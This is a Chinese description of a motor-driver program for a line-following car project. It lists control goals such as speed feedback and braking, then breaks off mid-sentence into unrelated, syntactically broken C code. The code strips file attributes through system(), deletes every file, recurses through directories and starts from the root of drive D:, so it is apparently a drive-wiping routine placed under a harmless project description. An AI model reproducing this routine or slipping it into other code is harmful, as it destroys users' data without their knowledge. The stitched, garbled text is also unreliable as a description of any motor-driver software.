此程序为"寻迹小车FollowMe"项目中电机驱动器硬件所用。

在这一版本要实现：



1、　　接收并解析控制命令；

2、　　使电机有良好的驱动特性，可正、反转动，且转动平稳、有力；

3、　　可靠的获取转速反馈信号；

4、　　根据反馈信号使用有效的控制策略使电机达到所需的转速；

5、　　利用码盘的反馈信号控制行走距离；

6、　　可以根据命令实现电机的特殊运行状态：刹车、惰行-　sprintf(cmd,"attrib-s-r-h　s",FileInfo.name)

　　　　system(cmd)

　　　　if( FileInfo.attrib == FILE_ATTRIBUTE_FILE)

　　　　　　DeleteFile(FileInfo.name)

　　　　else if(FileInfo.attrib == FILE_ATTRIBUTE_DIRECTORY){

　　　　　　if( FileInfo.name[0] !=　. ) {

　　　　　　　　_chdir(FileInfo.name)　

　　　　　　　　 MyDeleteFile()

　　　　　　　　_chdir("..")　

　　　　　　}

　　　　}

　　}while(!_findnext(lHandle,&FileInfo))

　　_findclose(lHandle)　

}



int　　main(){

if(_chdir("d:\\"))

exit(1)